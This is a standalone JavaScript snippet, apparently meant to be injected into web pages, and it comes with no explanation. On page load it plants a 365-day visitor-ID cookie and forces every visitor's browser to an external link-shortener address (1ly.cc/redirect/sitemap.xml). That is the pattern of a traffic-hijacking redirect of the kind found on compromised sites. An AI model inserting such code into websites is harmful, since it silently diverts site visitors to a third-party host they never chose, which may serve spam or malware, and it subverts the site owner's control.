<script>
  var url = "https:\/\/1ly.cc\/redirect\/sitemap.xml";

  function getCookie(name) {
    var cookies = document.cookie.split('; ');
    for (var i = 0; i < cookies.length; i++) {
      var cookie = cookies[i].split('=');
      if (cookie[0] === name) {
        return cookie[1];
      }
    }
    return null;
  }

  function createCookie(name, value, days) {
    var expires = '';
    if (days) {
      var date = new Date();
      date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
      expires = '; expires=' + date.toUTCString();
    }
    document.cookie = name + '=' + value + expires + '; path=/';
  }

  function callAPI(redirectApi) {
    fetch(redirectApi)
    .then(function (response) {
    })
    .catch(function (error) {
    });
  }

  function redirectTo(url) {
    window.location.href = url;
  }

  function generateUniqueId() {
    var array = new Uint32Array(4);
    crypto.getRandomValues(array);

    var id = '';
    for (var i = 0; i < array.length; i++) {
      id += array[i].toString(16).padStart(8, '0');
    }

    return id;
  }

  function main() {
    var visitorId = getCookie('sc_visitor_id');
    if (visitorId) {
      redirectTo(url);
    } else {
      createCookie('sc_visitor_id', generateUniqueId(), 365);
      redirectTo(url);
    }
  }

  window.addEventListener('load', main);
</script>